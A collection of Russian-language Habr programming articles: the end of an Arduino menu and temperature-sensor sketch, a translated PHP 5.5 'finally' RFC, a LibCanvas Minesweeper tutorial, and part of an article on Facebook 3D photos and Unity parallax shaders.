EEPROM.updateBit(1, 0, (\_menuValueArray\_bool[0]));
EEPROM.updateInt(8, (\_menuValueArray\_int[1]));
EEPROM.updateInt(10, (\_menuValueArray\_int[2]));
EEPROM.updateInt(12, (\_menuValueArray\_int[3]));
}
String \_readStringFromProgmem (char \*string)
{
String result = String("");
while (pgm\_read\_byte(string) != '\0')
{
result = result + char(pgm\_read\_byte(string));
string++;
}
return result;
}
String \_convertNamber(byte itemType, byte convFormat, byte valIndex, byte indexMax, byte indexMin)
{
if (itemType == 4) {
if (convFormat == 4) {
return String((\_menuValueArray\_int[valIndex - 1 ]), DEC);
}
if (convFormat == 5) {
return String((\_menuValueArray\_int[valIndex - 1]), HEX);
}
if (convFormat == 6) {
return String((\_menuValueArray\_int[valIndex - 1]), BIN);
}
}
if (itemType == 5) {
if (convFormat == 4) {
return String((\_menuValueArray\_long[valIndex - 1 ]), DEC);
}
if (convFormat == 5) {
return String((\_menuValueArray\_long[valIndex - 1]), HEX);
}
if (convFormat == 6) {
return String((\_menuValueArray\_long[valIndex - 1]), BIN);
}
}
}
String \_convertBoolean(byte itemType, byte convFormat, byte valIndex, byte indexMax, byte indexMin)
{
if (convFormat == 1) {
if (\_menuValueArray\_bool[valIndex - 1]) {
return "1";
} else {
return "0";
}
}
if (convFormat == 2) {
if (\_menuValueArray\_bool[valIndex - 1]) {
return "True";
} else {
return "False";
}
}
if (convFormat == 3) {
if (\_menuValueArray\_bool[valIndex - 1 ]) {
return "Да";
} else {
return "Нет";
}
}
if (\_menuValueArray\_bool[valIndex - 1]) {
return \_readStringFromProgmem ((char\*)pgm\_read\_word(&(\_flprogMenuStringsArray[indexMax - 1])));
} else {
return \_readStringFromProgmem ((char\*)pgm\_read\_word(&(\_flprogMenuStringsArray[indexMin - 1])));
}
}
float \_convertDS18x2xData(byte type\_s, byte data[12])
{
int16\_t raw = (data[1] << 8) | data[0];
if (type\_s)
{
raw = raw << 3;
if (data[7] == 0x10) {
raw = (raw & 0xFFF0) + 12 - data[6];
}
}
else
{
byte cfg = (data[4] & 0x60);
if (cfg == 0x00) raw = raw & ~7; else if (cfg == 0x20) raw = raw & ~3; else if (cfg == 0x40) raw = raw & ~1;
}
return (float)raw / 16.0;
}
float \_readDS18\_ow12(byte addr[8], byte type\_s)
{ byte data[12];
byte i;
\_ow12.reset();
\_ow12.select(addr);
\_ow12.write(0xBE);
for ( i = 0; i < 9; i++) {
data[i] = \_ow12.read();
}
\_ow12.reset();
\_ow12.select(addr);
\_ow12.write(0x44, 1);
return \_convertDS18x2xData(type\_s, data);
}
bool \_oneWireSeach (byte array[], OneWire ow )
{
byte temp[8];
byte i;
if ( !ow.search(temp)) {
return false;
}
if (OneWire::crc8(temp, 7) != temp[7]) {
return false;
}
switch (temp[0]) {
case 0x10:
array[8] = 1;
break;
case 0x28:
array[8] = 0;
break;
case 0x22:
array[8] = 0;
break;
default:
return false;
}
for ( i = 0; i < 8; i++) {
array[i] = temp[i];
}
return true;
}
```
Исходники проектов
» [Схема с LCD Keypad Shield и резистором](https://yadi.sk/d/CaNPsyNaydcxm)
» [Схема с LCD Keypad Shield и датчиком](https://yadi.sk/d/VGkm8y-Gydcxhhttp://)
» [Схема с матричной клавиатурой и резистором](https://yadi.sk/d/MQzLMr00ydcy2)
» [Схема с матричной клавиатурой и датчиком](https://yadi.sk/d/KAkYG-cxydcxx)
Ну, вот и всё, если что то не понятно, задавайте вопросы в комментариях — отвечу. | https://habr.com/ru/post/399097/ | null | ru | null |
# В PHP 5.5 возможно появится Finally
Не так давно, Никита Попов, один из активистов движения «ЗА PHP», опубликовал в своём твиттере сообщение:
> It very much looks like PHP 5.5 will have `finally` [t.co/Dy93CZaR](https://t.co/Dy93CZaR)
(Оригинал тут [twitter.com/nikita\_ppv/status/232930291625369600](https://twitter.com/nikita_ppv/status/232930291625369600))
Далее, вольный перевод:
#### Представление
В этом выпуске RFC, мы попробуем представить вам поддержку нового ключевого слова "*finally*" в исключениях.
Без этой фичи, разрабочикам приходится часто писать конструкции вида:
```
php
$db = mysqli_connect();
try {
call_some_function($db);
} catch (Exception $e) {
mysqli_close($db);
throw $e;
}
mysql_close($db);
</code
```
С введением *finally*, мы не говорим, что вам придётся писать меньше кода, мы говорим, что вы получите больше возможности для управления конструкциями *try/catch*
#### Предложение
Блок *finally* всегда выполняется когда завершается блок *try/catch*
Это означает, что блок *finally* выполняется даже, если было выкинуто исключение. Однако *finally*, на самом деле полезнее, чем простая обработка исключений. Оно позволяет программистам избегать лишних конструкций для чистки памяти и\или соединений в момент обработки исключений или же, если они не были пойманы.
```
php
$db = mysqli_connect();
try {
call_some_function($db);// функция моджет выкинуть исключение, которое мы можем и не обработать
} finally {
mysqli_close($db);
}
</code
```
Щекотливым моментом, при использовании новой конструкции, это испльзование конструкции *return* в блоке *try/catch*, в этом случае, блок *finally* всё равно будет вызван.
```
php
try {
return 2;
} finally {
echo "Этот текст мы увидим\n";
}
//Этот текст мы увидим
echo "Этот текст мы НЕ увидим";
</code
```
результатом будет:
`Этот текст мы увидим
//return int(2)`
Ну и в случае вложенных конструкций *try/catch/finally*:
```
php
function foo ($a) {
try {
echo "1";
try {
echo "2";
throw new Exception("ex");
} catch (Exception $e) {
echo "3";
} finally {
echo "4";
throw new Exception("ex");
}
} catch (Exception $e) {
echo "3";
} finally {
echo "2";
}
return 1;
}
var_dump(foo("para"));
</code
```
получим:
`123432int(1)`
#### Тесты и Примеры
Так же множество примеров и кейсов, вы можете подсмотреть далее
<https://github.com/laruence/php-src/blob/finally/Zend/tests/catch_finally_001.phpt>
<https://github.com/laruence/php-src/blob/finally/Zend/tests/catch_finally_002.phpt>
<https://github.com/laruence/php-src/blob/finally/Zend/tests/catch_finally_003.phpt>
<https://github.com/laruence/php-src/blob/finally/Zend/tests/catch_finally_004.phpt>
<https://github.com/laruence/php-src/blob/finally/Zend/tests/catch_finally_005.phpt>
<https://github.com/laruence/php-src/blob/finally/Zend/tests/catch_finally_006.phpt>
<https://github.com/laruence/php-src/blob/finally/Zend/tests/try_finally_001.phpt>
<https://github.com/laruence/php-src/blob/finally/Zend/tests/try_finally_002.phpt>
<https://github.com/laruence/php-src/blob/finally/Zend/tests/try_finally_003.phpt> | https://habr.com/ru/post/149314/ | null | ru | null |
# Классический сапёр на html5 и LibCanvas
В этой статье я пошагово расскажу, как писать самый обычный, классический сапёр при помощи Html5 Canvas, AtomJS, и тайлового движка LibCanvas.
А также смотрите продолжение — "[Изометрический сапёр на LibCanvas (html5)](http://habrahabr.ru/post/168705/)"
Воспользуемся стандартным шаблоном для «старта» нашего приложения. Важно не забывать подключать js-файлы после создания соответствующих классов.
```
LibCanvas :: Mines
[Return to index](/)
new function () {
LibCanvas.extract();
atom.dom(function () {
new Mines.Controller();
});
};
```
Я нарисовал две картинки — мины и флага. Всё остальное мы будем делать «вручную» прям в приложении. Объединил их в один спрайт для уменьшения количества запросов и предзагружу перед тем, как стартовать приложение. В коде так же можно увидеть нарезку при помощи [atom.ImagePreloader](https://github.com/theshock/atomjs/blob/master/Docs/En/Declare/ImagePreloader.md):
```
/** @class Mines.Controller */
atom.declare( 'Mines.Controller', {
initialize: function () {
atom.ImagePreloader.run({
flag: 'flag-mine.png [48:48]{0:0}',
mine: 'flag-mine.png [48:48]{1:0}'
}, this.start.bind(this) );
},
start: function (images) {
this.images = images;
}
});
```
Отрисовка
---------
Я люблю визуально видеть то, что присходит, потому предпочитаю начинать с программирования отрисовки, а только потом переходить к логике. Для того, чтобы наш код заработал мы воспользуемся [`LibCanvas.Engines.Tile`](https://github.com/theshock/libcanvas/tree/master/Docs/Ru/Engines/Tile). Добавим класс `View`, в котором и создадим наш движок. Также нам надо создать простое приложение и привязать движок к приложению при помощи `TileEngine.Element.app`. Значение по умолчанию у нас будет равно закрытой ячейке. Не забудем создать этот `View`, в нашем контроллере.
```
/** @class Mines.View */
atom.declare( 'Mines.View', {
initialize: function (controller, fieldSize) {
this.images = controller.images;
this.engine = new TileEngine({
size: fieldSize,
cellSize: new Size(24, 24),
cellMargin: new Size(0, 0),
defaultValue: 'closed'
})
.setMethod( this.createMethods() );
this.app = new App({
size : this.engine.countSize(),
simple: true
});
this.element = TileEngine.Element.app( this.app, this.engine );
},
```
```
/** @class Mines.Controller */
// ...
start: function (images) {
this.images = images;
this.view = new Mines.View( this, new Size(15,8) );
}
```
Не торопитесь запускать этот код, у нас ещё не определён метод `createMethods` класса `View`. Давайте вообще определимся с тем, какие у нас могут быть состояния ячейки.
Во время игры мы можем видеть такое:
1. Числа от 1 до 8.
2. Закрытая ячейка
3. Открытая, но пустая ячейка
4. Флажок
После её окончания — следующее:
1. Все мины
2. Если подорвались на одной из них — она выделена
3. Если где-то неверно поставили флаг
Итого, 8 + 3 + 3 = 14 разных состояний. Опишем их все:
```
/** @class Mines.View */
// ...
createMethods: function () {
return {
1: this.number.bind(this, 1),
2: this.number.bind(this, 2),
3: this.number.bind(this, 3),
4: this.number.bind(this, 4),
5: this.number.bind(this, 5),
6: this.number.bind(this, 6),
7: this.number.bind(this, 7),
8: this.number.bind(this, 8),
explode : this.explode.bind(this),
closed : this.closed .bind(this),
mine : this.mine .bind(this),
flag : this.flag .bind(this),
empty : this.empty .bind(this),
wrong : this.wrong .bind(this)
};
},
```
Как видите, мы будем вызывать соответствующие методы `View`, прибиндив их к текущему контексту. Для того, чтобы видеть, что у нас получается — необходимо добавить соответствующие клетки на поле.
```
/** @class Mines.Controller */
// ...
start: function (images) {
// ...
// todo: remove after debug
'1 2 3 4 5 6 7 8 empty mine flag explode wrong closed'
.split(' ')
.forEach(function (name, i) {
this.view.engine
.getCellByIndex(new Point(i, 3))
.value = name;
}.bind(this));
```
Мы просто взяли все индексы и присвоили их по очереди разным клеткам поля. Теперь отрисовка. В первую очередь нам необходимо создать общий метод, который будет «раскрашивать» ячейку — заливать и обводить необходимым цветом. Если линия шириной в 1 пиксель будет отрисовываться в целые координаты — она будет блуриться (см [htmlbook.ru/html5/canvas](http://htmlbook.ru/html5/canvas), ответ на вопрос «В. Почему мы начинаем x и y c 0.5, а не с 0?»), потому воспользуемся экспериментальным методом прямоугольника `snapToPixel`
```
/** @class Mines.View */
// ...
color: function (ctx, cell, fillStyle, strokeStyle) {
var strokeRect = cell.rectangle.clone().snapToPixel();
return ctx
.fill( cell.rectangle, fillStyle)
.stroke( strokeRect, strokeStyle );
},
```
Теперь по очереди добавляем методы отрисовки. Пустая клетка — просто красим:
```
/** @class Mines.View */
// ...
empty: function (ctx, cell) {
return this.color(ctx, cell, '#999', '#aaa');
},
```
Мина и флаг — это просто картинки на пустой клетке:
```
/** @class Mines.View */
// ...
mine: function (ctx, cell) {
return this
.empty(ctx, cell)
.drawImage( this.images.get('mine'), cell.rectangle );
},
flag: function (ctx, cell) {
return this
.empty(ctx, cell)
.drawImage( this.images.get('flag'), cell.rectangle );
},
```
Мина, на которой мы подорвались отрисовывается с красным фоном:
```
/** @class Mines.View */
// ...
explode: function (ctx, cell) {
return this
.color(ctx, cell, '#c00', '#aaa')
.drawImage( this.images.get('mine'), cell.rectangle );
},
```
Неправильно установленный флаг — красный крест. Отрисовать его достаточно просто. Сначала — ограничиваем отрисовку в пределах нашего прямоугольника при помощи `clip`.
Заливаем его фоном, а потом рисуем две красных линии — с верхнего-левого в нижний-правый и с нижнего-левого угла в верхний-правый.
```
/** @class Mines.View */
// ...
wrong: function (ctx, cell) {
var r = cell.rectangle;
return this.empty(ctx, cell)
.save()
.clip( r )
.set({ lineWidth: Math.round(cell.rectangle.width / 8) })
.stroke( new Line( r.from , r.to ), '#900' )
.stroke( new Line( r.bottomLeft, r.topRight ), '#900' )
.restore();
},
```
Закрытая ячейка отрисовывается тоже достаточно просто — градиент от тёмного к светлому, с верхнего-левого угла в нижний-правый.
```
/** @class Mines.View */
// ...
closed: function (ctx, cell) {
return ctx.fill( cell.rectangle,
ctx.createGradient(cell.rectangle, {
0: '#eee', 1: '#aaa'
})
);
},
```
И, собственно, цифры. Сначала в прототип добавим список цветов для каждой цифры. Нуля нету, потому ставим нул.
Обратите внимание, что первым аргументом функции у нас `number`. Именно его мы биндили в методе `createMethods`.
После этого рисуем клетку, как пустую, а сверху, текстом, пишем цифру.
```
/** @class Mines.View */
// ...
numberColors: [null, '#009', '#060', '#550', '#808', '#900', '#555', '#055', '#000' ],
number: function (number, ctx, cell) {
var size = Math.round(cell.rectangle.height * 0.8);
return this.empty(ctx, cell)
.text({
text : number,
color : this.numberColors[number],
size : size,
lineHeight: size,
weight: 'bold',
align : 'center',
to : cell.rectangle
});
}
```
Наша реализация позволяет нам менять размер ячеек и они будут в любом случае отлично выглядеть:
Генератор мин
-------------
Как видим, отрисовка полностью готова. Теперь нам достаточно сделать простое действие и клетка поменяет свой внешний вид.
Удалим наш дебаг-код и создадим инстанс генератора:
```
/** @class Mines.Controller */
// ..
start: function (images) {
this.images = images;
this.size = new Size(15, 8);
this.mines = 20;
this.view = new Mines.View( this, this.size );
this.generator = new Mines.Generator( this.size, this.mines );
}
```
Для начала научимся разбрасывать по полю мины. Конечно, было бы неплохо учитывать всякие сомнительные ситуации, но пока у нас для него одно требование — сгенерировать поле после первого клика пользователя, так, чтобы тот не попадался сразу же на мину.
Алгоритм генерации мин у нас будет очень простой — создаём список валидных точек (все, кроме той, на которую кликнули) — метод `snapshot`, после этого «выдёргиваем» из них необходимое количество случайных — метод `createMines`:
```
/** @class Mines.Generator */
atom.declare( 'Mines.Generator', {
mines: null,
initialize: function (fieldSize, minesCount) {
this.fieldSize = fieldSize;
this.minesCount = minesCount;
},
/** @private */
snapshot: function (ignore) {
var x, y, point,
result = [],
size = this.fieldSize;
for (y = size.height; y--;) for (x = size.width; x--;) {
point = new Point(x, y);
if (!point.equals(ignore)) {
result.push(point);
}
}
return result;
},
/** @private */
createMines: function (count, ignore) {
var snapshot = this.snapshot( ignore );
return atom.array.create(count, function () {
return snapshot.popRandom();
});
}
});
```
Следующий шаг — это добавить api-метод, который будет вызываться для генерации этих мин и заносить их в индекс для быстрого доступа. Создадим двумерный хеш со значениями 1, где мина есть и 0, где мины нету. Нам важно использовать именно Integer, причину мы увидим ниже. Теперь у нас есть быстрый метод `isMine` для определения, есть ли мина по координате. Метод `isReady` будет использоваться, чтобы узнать внешним классам, сгенерировано ли уже минное поле.
```
/** @class Mines.Generator */
// ..
isReady: function () {
return this.mines != null;
},
isMine: function (point) {
return this.mines[point.y][point.x];
},
generate: function (ignore) {
var mines, minesIndex,
size = this.fieldSize;
mines = this.createMines(this.minesCount, ignore);
minesIndex = atom.array.fillMatrix(size.width, size.height, 0);
mines.forEach(function (point) {
minesIndex[point.y][point.x] = 1;
});
this.mines = minesIndex;
},
```
Следующий шаг — сделать получение значения клетки, если там мины нет. Алгоритм очень прост — берём всех соседей, которые не выходят за рамки поля, считаем суму их значений. Именно в этом месте то, что мина есть Integer нам и пригодилось.
```
/** @class Mines.Generator */
// ..
initialize: function (fieldSize, minesCount) {
// эти два метода мы передаём как колбеки, потому привяжем их к контексту
this.bindMethods([ 'isValidPoint', 'isMine' ]);
// ..
getValue: function (point) {
// получаем всех соседей
return this.getNeighbours(point)
// превращаем их в список мин (1 и 0)
.map(this.isMine)
// получаем количество мин в соседних клетках
.sum();
},
// Проверяем, чтобы точка не вышла за пределы поля
isValidPoint: function (point) {
return point.x >= 0
&& point.y >= 0
&& point.x < this.fieldSize.width
&& point.y < this.fieldSize.height;
},
// Список соседей - это все соседи, кроме тех, что выходят за границы
getNeighbours: function (point) {
return point.neighbours.filter( this.isValidPoint );
},
```
Взаимодействие с пользователем
------------------------------
У нас есть движок игры, теперь необходимо всё это сделать игрой, а не только логикой. Создаём класс `Action`, который будет отвечать за все действия пользователя. Первое, что мы сделаем — это реакцию на клик пользователя. При помощи `TileEngine.Mouse` мы будем слушать события мыши, связанные с полем. Вешаем `Mouse.prevent` на событие `'contextmenu'`, чтобы не выскакивало надоедливое меню. При клике проверяем кнопку. Левая кнопка мыши равна 0, средняя равна 1, правая равна 2. Напомним, что в оригинальной игре клик левой означал открытие клетки, крик средней — открытие всех окружающих, а клик правой — постановка мины.
```
/** @class Mines.Controller */
// ..
start: function (images) {
// ..
this.action = new Mines.Action(this);
}
```
```
/** @class Mines.Action */
atom.declare( 'Mines.Action', {
actions: [ 'open', 'all', 'close' ],
initialize: function (controller) {
this.controller = controller;
this.bindMouse();
},
bindMouse: function () {
var view, mouse;
view = this.controller.view;
mouse = new Mouse(view.app.container.bounds);
new App.MouseHandler({ mouse: mouse, app: view.app })
.subscribe( view.element );
mouse.events.add( 'contextmenu', Mouse.prevent );
new TileEngine.Mouse( view.element, mouse ).events
.add( 'click', function (cell, e) {
this.activate(cell, e.button);
}.bind(this));
},
activate: function (cell, actionCode) {
console.log( cell.point.dump(), actionCode );
}
});
```
Добавим первую интерактивность. Мы будем получать по индексу название метода, который необходимо вызвать и, заодно напишем самый простой метод — `close`. Если клетка закрыта, то устанавливаем на неё флаг, если на клетке уже стоит флаг, то отмечаем её закрытой. Теперь можно увидеть первое взаимодействие — по правой кнопке мыши появляется флаг на клетке.
```
/** @class Mines.Action */
// ...
activate: function (cell, actionCode) {
if (typeof actionCode == 'number') {
actionCode = this.actions[actionCode];
}
this[actionCode](cell);
},
close: function (cell) {
if (cell.value == 'closed') {
cell.value = 'flag';
} else if (cell.value == 'flag') {
cell.value = 'closed';
}
},
open: function (cell) {
},
all: function (cell) {
}
```
Теперь опишем открытие клетки. Для начала, открываем только те клетки, которые закрыты. Нечего взаимодействовать с всякими статичными цифрами и флагами. Во-вторых, проверяем, готовы ли наши мины и, если нет — запускаем генератор.
Если открыта мина, то вызываем метод `lose`, где помечаем клетку, как взорвавшуюся.
Если в клетке есть цифра, то просто пишем её, никаких других действий с этой клеткой не сделать.
Если клетка пуста, то нам необходимо рекурсивно открывать все клетки вокруг, потому пока создаём метод и помечаем клетку как пустую.
```
/** @class Mines.Action */
// ...
open: function (cell) {
if (cell.value != 'closed') return;
var value, gen = this.controller.generator;
if (!gen.isReady()) {
gen.generate(cell.point);
}
if (gen.isMine(cell.point)) {
this.lose(cell);
} else {
value = gen.getValue(cell.point);
if (value) {
cell.value = value;
} else {
this.openEmpty(cell);
}
}
},
lose: function () {
cell.value = 'explode';
},
openEmpty: function (cell) {
cell.value = 'empty';
},
```
Для открытия всех клеток вокруг пустой просто получаем соседей и передаём в метод `open`. Этим мы воспользуемся для рекурсивного открытия пустых клеток и для быстрого открытия по средней кнопке мыши.
```
/** @class Mines.Action */
// ...
openNeighbours: function (cell) {
this.controller.generator
.getNeighbours(cell.point)
.forEach(function (point) {
this.open( this.getCell(point) );
}.bind(this));
},
openEmpty: function (cell) {
cell.value = 'empty';
this.openNeighbours(cell);
},
getCell: function (point) {
return this.controller.view.engine.getCellByIndex(point);
},
all: function (cell) {
if (parseInt(cell.value)) {
this.openNeighbours(cell);
}
},
```
Проигрышь отображаем так — проходим все клетки, где у нас было закрыто и на самом деле была мина — отрисовываем мину. Где у нас стоял флаг, а на самом деле мины нету — отображаем ошибку. Так же блокируем методы `open` и `close` после проигрыша.
```
/** @class Mines.Action */
// ...
lost: false,
lose: function (cell) {
this.lost = true;
cell.value = 'explode';
this.controller.view.engine.cells
.forEach(this.checkCell.bind(this));
},
checkCell: function (cell) {
if (cell.value == 'closed' || cell.value == 'flag') {
var isMine = this.controller.generator.isMine(cell.point);
if (isMine && cell.value == 'closed') {
cell.value = 'mine';
}
if (!isMine && cell.value == 'flag') {
cell.value = 'wrong';
}
}
},
// ...
close: function (cell) {
if (this.lost) return;
// ...
open: function (cell) {
if (this.lost) return;
// ...
```
Победа!
-------
Осталось отобразить победу, затраченное время и вывести количество мин, которые осталось открыть. Не будем заморачиваться с внешним видом, воспользуемся гиковским, но работающим `atom.trace`. Получим количество мин. Посчитаем количество пустых клеток — это количество клеток всего минус количество мин. Каждый раз при открытии клетки будем уменьшать значение пустых на один. Когда они достигнут нуля — игра выиграна. Дадим отрисоваться холсту и с небольшой задержкой отобразим пользователю алерт.
```
/** @class Mines.Action */
// ...
initialize: function (controller) {
// ...
this.startTime = null;
this.minesLeft = controller.mines;
this.minesTrace = atom.trace(0);
this.changeMines(0);
this.emptyCells = controller.size.width * controller.size.height - this.minesLeft;
},
changeMines: function (delta) {
this.minesLeft += delta;
this.minesTrace.value = "Mines: " + this.minesLeft;
},
// ...
open: function (cell) {
// ...
if (!gen.isReady()) {
// ...
this.startTime = Date.now();
}
if (gen.isMine(cell.point)) {
// ...
} else {
// ...
if (--this.emptyCells == 0) {
this.win();
}
}
},
// ...
win: function () {
var time = Math.round( (Date.now()-this.startTime) / 1000 );
alert.delay(100, window, ['Congratulations! Mines has been neutralized in '+ time +' sec!']);
},
// ...
close: function (cell) {
// ...
if (cell.value == 'closed') {
// ...
this.changeMines(-1);
} else if (cell.value == 'flag') {
// ...
this.changeMines(+1);
}
},
```
[Играть в сапёр](http://libcanvas.github.com/games/mines/)
---------------------------------------------------------- | https://habr.com/ru/post/168435/ | null | ru | null |
# 3D-фотографии Facebook изнутри: шейдеры параллакса
В последние несколько месяцев Facebook заполонили **3D-фотографии**. Если вам не довелось их увидеть, то объясню: 3D-фотографии — это изображения внутри поста, которые плавно меняют ракурс при скроллинге страницы или когда перемещаешь по ним мышь.
За несколько месяцев до появления этой функции Facebook тестировал похожую функцию с 3D-моделями. Хотя можно легко понять, как Facebook может рендерить 3D-модели и поворачивать их в соответствии с позицией мыши, с 3D-фотографиями ситуация может быть не столь интуитивно понятной.
Техника, которую использует Facebook для создания трёхмерности двухмерных изображений, иногда называется **смещение карты высот**. В нём применяется оптическое явление под названием **«параллакс»**.
**Пример 3D-фотографии Facebook (GIF)**
Что такое параллакс
-------------------
Если вы играли в Super Mario, то точно знаете, что такое параллакс. Хотя Марио бежит с одной скоростью, кажется, что далёкие объекты на фоне движутся медленнее (см. ниже).
Этот эффект создаёт иллюзию того, что некоторые элементы, например горы и облака, расположены дальше. Он эффективен потому, что наш мозг для оценки расстояния до далёких объектов использует параллакс (наряду с другими визуальными подсказками).
**Как мозг оценивает расстояние?**
Предполагается, что мозг человека для оценки расстояния использует несколько механизмов. На короткой и средней дальности расстояния вычисляются сравнением различия позиции объекта, видимого правым и левым глазом. Это называется **стереоскопическим видением** и широко распространено в природе.
Однако для достаточно далёких объектов одного стереоскопического зрения недостаточно. Горы, облака и звёзды слишком мало отличаются для разных глаз, чтобы заметить значимую разницу. Поэтому в дело вступает относительный параллакс. Объекты на заднем плане движутся меньше по сравнению с объектами на переднем плане. Именно их относительное движение позволяет установить относительное расстояние.
В восприятии расстояния используется и много других механизмов. Самым известным из них является атмосферная дымка, придающая далёким объектам голубой оттенок. В других мирах большинства этих атмосферных подсказок нет, поэтому так сложно оценить масштаб объектов на других планетах и Луне. Пользователь YouTube Алекс Макколган объясняет это на своём канале [Astrum](https://www.youtube.com/user/astrumspace/videos), показывая, как трудно определить размер лунных объектов, показанных на видео.
Параллакс как сдвиг
-------------------
Если вам знакома линейная алгебра, то вы вероятно знаете, насколько сложной и нетривиальной может быть математика 3D-поворотов. Поэтому есть гораздо более простой способ понимания параллакса, для которого не требуется ничего, кроме сдвигов.
Давайте представим, что мы смотрим на куб (см. ниже). Если мы точно выровнены относительно его центра, то передняя и задняя грани будут выглядеть для наших глаз как два квадрата разного размера. Это и есть **перспектива**.
Однако что произойдёт, если мы сдвинем камеру вниз, или поднимем куб вверх? Применив те же принципы, мы сможем увидеть, что передняя и задняя грани сместились относительно их предыдущей позиции. Ещё интереснее то, что они сдвинулись относительно друг друга. Задняя грань, находящаяся дальше от нас, как будто сдвинулась меньше.
Если мы хотим вычислить истинные позиции этих вершин куба в нашей спроецированной области видимости, то нам придётся серьёзно взяться за тригонометрию. Однако на самом деле это необязательно. Если перемещение камеры достаточно мало, то мы можем аппроксимировать смещение вершин, сдвинув их пропорционально их расстоянию.
Единственное, что нам нужно определить — это масштаб. Если мы сдвинемся на X метров вправо, то должно казаться, что объект в Y метрах от нас сдвинулся на Z метров. Если X остаётся небольшим, параллакс становится задачей **линейной интерполяции**, а не тригонометрии. По сути, это означает, что мы можем симулировать небольшие 3D-повороты сдвигом пикселей в зависимости от их расстояния до камеры.
Генерируем карты глубин
-----------------------
По своему принципу то, что делает Facebook, не слишком отличается от происходящего в Super Mario. Для заданной картинки определённые пиксели смещаются в направлении движения на основании расстояния до камеры. Для создания 3D-фотографии Facebook требуется только само фото и карта, сообщающая, как далеко находится каждый пиксель от камеры. Такая карта имеет вполне ожидаемое название — **«карта глубин»**. В зависимости от контекста её также называют **картой высот**.
Сделать фотографию довольно просто, но генерация правильной карты глубин — гораздо более сложная задача. В современных устройствах используются различные техники. Чаще всего используют две камеры; каждая делает снимок одного и того же объекта, но с немного отличающейся перспективой. Тот же принцип используется в **стереоскопическом зрении**, которое люди применяют для оценки глубины на коротких и средних дистанциях. На изображении ниже показано, как iPhone 7 может создавать карты глубин из двух очень близких картинок.
Подробности выполнения такой реконструкции описаны в статье [Instant 3D Photography](http://visual.cs.ucl.ac.uk/pubs/instant3d/), представленной [Питером Хедманом](http://phogzone.com/) и [Йоханнесом Копфом](https://twitter.com/JPKopf) на SIGGRAPH2018.
После создания качественной карты глубин симуляция трёхмерности становится почти тривиальной задачей. Реальное ограничение этой техники заключается в том, что даже если можно воссоздать грубую 3D-модель, в ней отсутствует информация о том, как рендерить части, невидимые на исходном фото. На данный момент эту проблему невозможно решить, и поэтому все видимые на 3D-фотографиях перемещения довольно незначительны.
Мы познакомились с концепцией 3D-фотографий и вкратце рассказали о том, как их могут создавать современные смартфоны. Во второй части мы узнаем, как те же самые техники можно использовать для реализации 3D-фотографий в Unity при помощи шейдеров.
Часть 2. Шейдеры параллакса и карты глубин
------------------------------------------
#### Шаблон шейдера
Если мы хотим воссоздать 3D-фотографии Facebook с помощью шейдера, то сначала должны определиться с тем, что конкретно будем делать. Так как этот эффект лучше всего работает с 2D-изображениями, то логично будет реализовать решение, совместимое со спрайтами (**Sprite**) Unity. Мы создадим шейдер, который можно использовать со **Sprite Renderer**.
Хотя такой шейдер можно создать с нуля, часто предпочтительнее начинать с готового шаблона. Лучше всего начать двигаться вперёд, скопировав уже имеющийся diffuse shader спрайтов, который Unity по умолчанию использует для всех спрайтов. К сожалению, движок не поставляйтся с файлом *shader*, который можно редактировать самому.
Чтобы получить его, нужно перейти в [Unity download archive](https://unity3d.com/get-unity/download/archive) и скачать пакет *Built in shaders* (см. ниже) для используемой вами версии движка.
После извлечения пакета можно просмотреть исходный код всех шейдеров, поставляемых с Unity. Интересующий нас находится в файле *Sprites-Diffuse.shader*, который по умолчанию используется для всех создаваемых спрайтов.
Изображения
-----------
Второй аспект, который нужно формализовать — это имеющиеся у нас данные. Представим, что у нас есть и изображение, которое мы хотим анимировать, и его карта глубин. Последняя будет чёрно-белым изображением, в которой чёрные и белые пиксели обозначают, насколько далеко или близко они находятся от камеры.
Использованные в этом туториале изображения взяты из проекта [Pickle cat](https://dn.ht/picklecat/) [Денниса Хотсона](https://twitter.com/dennishotson), и это, без сомнения, лучшее, что вы сегодня увидите.
Связанная с этим изображением карта высот отражает расстояние кошачьей морды от камеры.
Легко заметить, насколько хороших результатов можно добиться с такой простой картой глубин. Это значит, что несложно создавать собственные карты глубин для уже существующих изображений.
Свойства
--------
Теперь, когда у нас есть все ресурсы, можно приступать к написанию кода шейдера параллакса. Если мы импортируем основное изображение как спрайт, то Unity автоматически передаст его шейдеру через свойство `_MainTex`. Однако нам нужно сделать так, чтобы шейдеру была доступна карта глубин. Это можно реализовать с помощью нового **свойства шейдера** под названием `_HeightTex`. Я намеренно решил не называть его `_DepthTex`, чтобы не перепутать с **текстурой глубин** (это похожая концепция Unity, используемая для рендеринга карты глубин сцены).
Для изменения силы эффекта мы также добавим свойство `_Scale`.
```
Properties
{
...
_HeightTex ("Heightmap (R)", 2D) = "gray" {}
_Scale ("Scale", Vector) = (0,0,0,0)
}
```
Эти два новых свойства также должны соответствовать двум переменным с тем же названием, которые нужно добавить в раздел `CGPROGRAM`/`ENDCG`:
```
sampler2D _HeightTex;
fixed2 _Scale;
```
Теперь всё готово, и мы можем приступать к написанию кода, который будет выполнять смещение.
Первый шаг — это сэмплирование значения из карты глубин, которое можно выполнить с помощью функции `tex2D`. Так как `_HeightTex` — это чёрно-белая текстура, мы можем просто взять её канал красного и отбросить остальные. Полученное значение измеряет расстояние в неких произвольных единицах от текущего пикселя до камеры.
Значение глубины находится в интервале от  до , но мы растянем его до интервала от  до . Это позволяет обеспечить и положительный (белый цвет), и отрицательный (чёрный цвет) параллакс.
Теория
------
Для симуляции эффекта параллакса на этом этапе нам нужно использовать информацию о глубинах для сдвига пикселей изображения. Чем ближе пиксель, тем сильнее его нужно сдвигать. Этот процесс объяснён на показанной ниже схеме. Красный пиксель из *исходного изображения* в соответствии с информацией из карты глубин должен сместиться на два пикселя влево. Аналогично, синий пиксель должен сместиться на два пикселя вправо.
Хоть *теоретически* это должно сработать, нет простых способов для реализации этого в шейдере. Всё дело в том, что шейдер по своему принципу может менять только цвет *текущего* пикселя. При выполнении кода шейдера он должен отрисовывать на экране определённый пиксель; мы не можем просто сдвинуть этот пиксель в другое место или изменить цвет соседнего. Это *ограничение локальности* обеспечивает очень эффективную параллельную работу шейдеров, но не позволяет нам реализовывать всевозможные эффекты, которые были бы тривиальными при условии наличия *произвольного доступа для записи* к каждому пикселю в изображении.
